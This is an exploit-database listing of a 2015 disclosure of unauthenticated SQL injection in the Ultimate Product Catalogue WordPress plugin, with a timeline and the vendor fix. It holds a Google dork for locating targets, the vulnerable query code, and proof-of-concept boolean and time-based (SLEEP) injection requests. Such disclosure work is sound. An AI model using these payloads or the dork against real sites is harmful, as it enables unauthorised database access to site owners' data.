Ultimate Product Catalogue WordPress Plugin - SQL Injecton Vulnerabilities

ID 1337DAY-ID-23572
Type zdt
Reporter Felipe Molina
Modified 2015-04-27T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: Unauthenticated SQLi on Ultimate Product Catalogue
wordpress plugin
# Google Dork: inurl:"SingleProduct" intext:"Back to catalogue"
# Date: 22/04/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
# Software Link:
# Version: < 3.1.2, Comunicated and Fixed by the Vendor in 3.1.3
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turnedd off, Apache
2.4.0 (Ubuntu)
# CVE : Requested to mitre but not assigned yet
# Category: webapps
1. Summary:
     Ultimate Product Catalogue is A responsive and easily customizable
plugin for all your product catalogue needs. It has +59.000 downloads,
+3.000 active installations.
 Unauthenticated SQL injection in parameter "SingleProduct" when a web
visitor explores a product published by the web administrator
2. Vulnerability timeline:
- 22/04/2015: Identified in version 3.1.2
- 22/04/2015: Comunicated to developer company etoilewebdesign.com
- 22/04/2015: Response from etoilewebdesign.com and fixed version in 3.1.3

3. Vulnerable code:
    File Functions/Shortcodes.php line 779
    Proof of concept
    http://<wordpress site>/?SingleProduct=2'+and+'a'='a
    http://<wordpress site>/?SingleProduct=2'+and+'a'='b
    In file Functions/Process_Ajax.php line 67:
$Item_ID = $_POST['Item_ID'];
        $Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name
WHERE Item_ID=" . $Item_ID);
    Proof of concept:
    POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: <wordpress host>
  Cookie: wordpress_f305[...]
  Item_ID=2 AND SLEEP(5)&action=record_view
4. Solution:
    Update to version 3.1.3

#  0day.today [2018-01-01]  #